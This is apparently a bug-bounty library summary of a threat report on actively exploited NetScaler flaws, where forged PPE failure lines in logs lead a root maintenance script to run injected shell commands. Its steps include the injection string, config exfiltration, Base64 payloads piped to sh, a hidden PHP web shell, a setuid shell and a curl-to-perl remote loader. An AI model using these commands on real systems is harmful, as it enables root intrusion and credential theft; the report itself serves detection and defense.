# Actively Exploited NetScaler Vulnerabilities

Unauthenticated requests poison NetScaler logs with fake PPE failure lines; a root maintenance script later shells out the embedded command, giving root RCE.

- Payout: Real-world hack
- Severity: critical
- Program: Citrix NetScaler
- Credited: Sygnia
- Disclosed: 2026-09-28
- CVE: CVE-2026-88771, CVE-2026-88772
- Write-up quality: 7/10
- Original: https://www.sygnia.co/threat-reports-and-advisories/actively-exploited-netscaler-vulnerabilities/
- Library page: https://bugbountylibrary.com/r/blog%3Asygnia-co-threat-reports-and-advisories-actively-exploited-netscaler-vulnerabilities
- Tags: domain:network impact:internal-access impact:rce kind:incident platform:threat-intel sev:critical tech:nginx technique:second-order technique:source-review vuln:command-injection vuln:rce

**Target:** NetScaler ADC/Gateway appliance logging and ns_monuploadd_err.pl maintenance script
**Root cause:** Attacker-controlled request data is written into NetScaler logs shaped as a Packet Processing Engine failure message; the legitimate maintenance script /netscaler/ns_monuploadd_err.pl later parses the poisoned line and passes attacker content into an unsafe shell operation.
**Steps:**
1. Send an unauthenticated request whose data lands in an auth/HTTP log, containing `pitboss PPE unexpectedly died NSPPE;<COMMAND>` or `pitboss PPE missed too many heartbeats NSPPE;<COMMAND>`.
2. Wait for the maintenance process to parse the poisoned log line (execution may be delayed up to 24h).
3. Embedded command runs as root; e.g. `cat /flash/nsconfig/ns.conf > /var/netscaler/logon/insight-new.js` to expose config via web path.
4. Stage payload in HTTP logs as Base64 (marker `2N:`, PHP marker `PD9`), then retrieve via `... | b64decode | sh` or pipe to php.
5. Alternative: request `/logon/LogonPoint/custom/receiver.min..css` with Base64 payload creating hidden PHP shell `.ctxs.receiver`, add `AddHandler application/x-httpd-php .css` to httpd.conf, reload Apache, `chmod 6555 /bin/sh`.
6. Remote loader variant: `curl http://64.94.85[.]67:443/update_c08937.pl | perl`; validate with `whoami`.
**How found:** Sygnia hunting of raw logs found repeated authentication values containing fabricated heartbeat failure messages with shell separators and Base64 markers; a fake-CSS hunt spotted requests to receiver.min..css carrying payloads, revealing the log-poisoning-to-shell path.
**Exploitation:** Unauthenticated attacker writes crafted log lines; delayed root execution of embedded shell commands enables web shell deployment, httpd.conf modification to map CSS/sig/ico extensions to PHP, config/cert/credential theft, and use of the appliance's trusted network position to pivot to identity and virtualization systems.
**Escalation:** Root on edge appliance used to reach vCenter/ESXi, domain controllers, identity providers, and backup infrastructure; persistence via rc.netscaler and hidden web shells.
**Insight:** When a log line is later consumed by a maintenance/health script, treat log content as an injection surface: hunt for health-monitor keywords (pitboss/PPE/heartbeats) followed by shell metacharacters, and check httpd.conf for AddHandler mappings of innocuous extensions (.css/.sig/.ico) to PHP.